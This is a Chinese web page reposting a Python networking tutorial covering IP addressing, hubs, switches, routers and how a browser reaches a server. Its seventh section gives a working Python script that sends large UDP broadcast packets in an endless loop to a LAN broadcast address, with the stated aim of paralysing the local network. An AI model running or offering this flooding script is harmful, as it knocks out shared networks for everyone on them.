返回顶部
首页 > 资讯 > 后端开发 > Python >python网络通信图文详解
  • 231
分享到

python网络通信图文详解

pythonpython网络通信 2022-06-02 22:06:15 231人浏览 独家记忆

Python 官方文档:入门教程 => 点击学习

摘要

目录1. 常用的网络协议2. 数据传输过程3.  两台电脑通信4. IP地址网络号与主机号的确定规则 5.  最开始集线器解决多台电脑通信 6. 使用交换机进行网络通信7. 使

目录
  • 1. 常用的网络协议
  • 2. 数据传输过程
  • 3.  两台电脑通信
  • 4. IP地址网络号与主机号的确定规则 
  • 5.  最开始集线器解决多台电脑通信
  •  6. 使用交换机进行网络通信
  • 7. 使用udp协议实现内网瘫痪
  • 8. 使用路由器连接多个网络
  • 9. 浏览器访问服务器的过程
  • 总结

1. 常用的网络协议

ICMP协议又叫:网络控制协议 

2. 数据传输过程

3.  两台电脑通信

网络传输的是数据的信号而不是电流

4. IP地址网络号与主机号的确定规则 

通过ip地址和网络掩码的二进制数实行按位与运算,计算的结果转换为十进制,非0的就是网络号,0的就是主机号

 

5.  最开始集线器解决多台电脑通信

但是集线器是以广播的形式发送数据,设备一多就会导致网络拥堵。

 6. 使用交换机进行网络通信

单播写对方的Mac地址,广播mac地址写6组FF:FF:FF:FF:FF:FF

 

7. 使用udp协议实现内网瘫痪

先根据IP地址和网络掩码二进制按位与计算出网络号,在使用udp往当前局域网(网络号)下面无线循环发广播,使局域网濒临瘫痪


import Socket  # 导入socket


def main():
    try:
        # 1、创建socket套接字
        udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # socket.SOCK_DGRAM 这里是指定UDP协议

        # 2、指定地址
        data_address = ("192.168.255.255", 64300)
        # 地址要是一个 元组,第一个"192.168.100.255"是内网的广播地址,第二个 64300 是你计算机当前的端口#
        # 这个端口不必太在意,64300 只要不是被其他程序占用的就行,

        # 3、发送数据
        while True:
            send_data = "1" * 57175
            # 这里发送的数据可以随意点

            udp_socket.sendto(send_data.encode("UTF-8"), data_address)
            # 第一个参数sendData.encode("UTF-8")是要发送的数据,("UTF-8")是设置发送数据的编码,
            # 第二个参数(dataAddress)是发送数据的地址,也就是笔者内网的广播地址

    except Exception as result:
        print("未知错误" + str(result))


if __name__ == '__main__':
    main()

8. 使用路由器连接多个网络

路由器的作用:连接两个以上的网络为一个大网络

网关:具有转发数据能力的设备

当AB两台电脑不在同一个网络下想进行通信时,A电脑需要先把数据发送到默认网关,网关具有转发数据的能力,网关再把数据转发给B电脑,默认网关一般都是路由器

数据在转发的过程当中,ip地址不变,mac地址每转发一次就发生一次变化

9. 浏览器访问服务器的过程

(1)向DNS服务器发送请求进行解析域名

(2)向Http服务器发送3次握手

(3)握手成功后,向http服务器发送Http格式的请求数据

(4)所有请求完毕后,向http服务器发送4次挥手

网络数据包发送过程当中源IP目标IP不变,源mac和目标mac每通过路由器网关转发一次就会发生一次变化

总结

本篇文章就到这里了,希望能给你带来帮助,也希望您能够多多关注编程网的更多内容!

--结束END--

本文标题: python网络通信图文详解

本文链接: https://lsjlt.com/news/11219.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • python网络通信图文详解
    目录1. 常用的网络协议2. 数据传输过程3.  两台电脑通信4. IP地址网络号与主机号的确定规则 5.  最开始集线器解决多台电脑通信 6. 使用交换机进行网络通信7. 使...
    99+
    2022-06-02
    python python网络通信
  • Java网络编程之UDP网络通信详解
    目录1.UDP网络通信编程原理1.1 UDP网络通信编程介绍1.2 UDP网络通信编程的基本流程2.UDP网络通信编程案例1.UDP网络通信编程原理 1.1 UDP网络通信编程介绍 ...
    99+
    2024-04-02
  • AndroidBinder通信原理图文详解
    目录前言1. Binder的作用2. 进程与Binder驱动如何通信3. ServiceManager进程的作用Binder Client、Binder Server、Service...
    99+
    2022-11-13
    Android Binder 通信 Android Binder
  • JavaTCP网络通信协议详细讲解
    TCP与UDP都属于TCP/IP协议 TCP(Transmission Control Protocol,传输控制协议)是面向连接的协议,也就是说,在收发数据前,必须和对方建立可靠的...
    99+
    2024-04-02
  • PHP 中的网络通信函数详解
    php 提供了网络通信函数,包括:fsockopen():建立到远程服务器的套接字连接,返回文件指针。fgets():从文件指针中读取一行数据,适用于读取响应。fwrite():将数据写...
    99+
    2024-04-20
    php 网络通信
  • Python学习 :网络通信要素
     网络通信   OSI 模型   - 定义了计算机互联的标准,是设计和描述计算机网络通信的基本框架   - 把网络通信的工作分为7层,分别是物理层、链路层(数据网络层)、网络层、传输层、会话层、表示层和应用层     网络通信的三要素 ...
    99+
    2023-01-31
    网络通信 要素 Python
  • python 网络通信协议/TCP,UD
    一.osi七层协议 互联网协议按照功能不同分为osi七层或tcp/ip五层或tcp/ip四层 协议具体内容   各层的功能简述: 【1】物理层:主要定义物理设备标准,如网线的接口类型、光纤的接口类型、各种传输介质的传输速率...
    99+
    2023-01-30
    通信协议 网络 python
  • 【网络原理】网络通信与协议
    ✨个人主页:bit me👇 ✨当前专栏:Java EE初阶👇 目 录 一. 网络发展史二. 网络通信基础1. IP地址2. 端口号3. 认识协议(核心概念)4. 五元组5....
    99+
    2023-08-16
    网络 java java-ee
  • 分析python并发网络通信模型
    目录一、常见模型分类1.1、循环服务器模型1.2、IO并发模型1.3、多进程/线程网络并发模型二、基于fork的多进程网络并发模型三、基于threading的多线程网络并发四、ftp 文件服务器4.1、项目功能4.2...
    99+
    2022-06-02
    python 并发 python网络通信模型
  • 网络通信 & 初识socket
    本节主要内容: 1.客户短\服务端架构 2.网络通信的流程 3.初识socket   一.客户端\服务端架构 客户端\服务端架构: 即Client/Server (C/S) 结构,是大家熟知的软件系统体系结构,通过将任务合理分配到Clie...
    99+
    2023-01-30
    网络通信 socket
  • PHP中的网络通信
    PHP是一种流行的服务器端编程语言,其在网络通信方面也有较为广泛的应用。本文将介绍PHP中的网络通信相关知识,包括Socket编程、HTTP请求和响应、XML-RPC以及SOAP等方面。一、Socket编程Socket编程是一种在网络上进行...
    99+
    2023-05-25
    网络协议 PHP网络 通信编程
  • Android 图文详解Binder进程通信底层原理
    目录🔥 什么是进程间通信🔥 什么是 Binder🔥 Android 中 IPC 的方式🔥 Binder 优势€...
    99+
    2024-04-02
  • dm.jdbc.driver.DMException网络通信异常如何解决
    本篇内容主要讲解“dm.jdbc.driver.DMException网络通信异常如何解决”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“dm.jdbc.driver.DMException网络通...
    99+
    2023-07-05
  • Python实现socket库网络通信套接字
    目录Socket网络通信套接字什么是套接字?地址簇套接字类型套接字的简单应用gethostbyname_ex()与gethostbyname()getservbyname()与getservbyport()getpr...
    99+
    2022-06-02
    Python socket库 Python socket套接字 Python网络通信
  • 详解python网络进程
    目录一、多任务编程二、进程三、os.fork创建进程3.1、进程ID和退出函数四、孤儿和僵尸4.1、孤儿进程4.2、僵尸进程4.3、如何避免僵尸进程的产生五、Multiprocessing创建进程5.1、multip...
    99+
    2022-06-02
    python 网络进程
  • Python网络编程详解
    1、服务器就是一系列硬件或软件,为一个或多个客户端(服务的用户)提供所需的“服务”。它存在唯一目的就是等待客户端的请求,并响应它们(提供服务),然后等待更多请求。 2、客户端/服务器架构既可以应用于计算机...
    99+
    2022-06-04
    详解 网络编程 Python
  • Java网络编程 - UDP通信
    文章目录 UDP通信快速入门一发一收多发多收广播组播 UDP通信 快速入门 UDP协议的特点: UDP是一种无连接、不可靠传输的协议。 将数据源IP、目的地IP和端口以及数据封装成数据包,大小限制在64KB内,直...
    99+
    2023-08-30
    java 网络 udp
  • .NET网络编程——TCP通信
    一、网络编程的基本概念 : 1. 网络         就是将不同区域的电脑连接到一起,组成局域网、城域网或广域网。把分部在不同地理区域的计算机于专门的外部设备用通信线路 互联成一个规模大、功能强的网络系统,从而使众多的计算机可以方便地互相...
    99+
    2023-08-31
    网络 tcp/ip 服务器 .net eclipse java
  • Java网络编程 - TCP通信
    文章目录 TCP通信快速入门(一发一收)编写客户端代码编写服务器代码 多发多收多发多收(同时接受多个客户端)线程池优化 TCP通信 快速入门(一发一收) TCP协议回顾: TCP是一种面向连接,安全、可靠的...
    99+
    2023-08-16
    网络 tcp/ip java
  • dm.jdbc.driver.DMException网络通信异常的解决过程
    目录问题重述:报错:问题背景:尝试解决过程:最终解决方法:归纳原因:总结与强调:问题重述: IDEA中项目启动不成功,达梦数据库连接不上,报网络通信异常与连接超时错误 报错: 1.d...
    99+
    2023-02-24
    dm.jdbc.driver.dmexception dm网络通信异常 网络通信出现异常
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作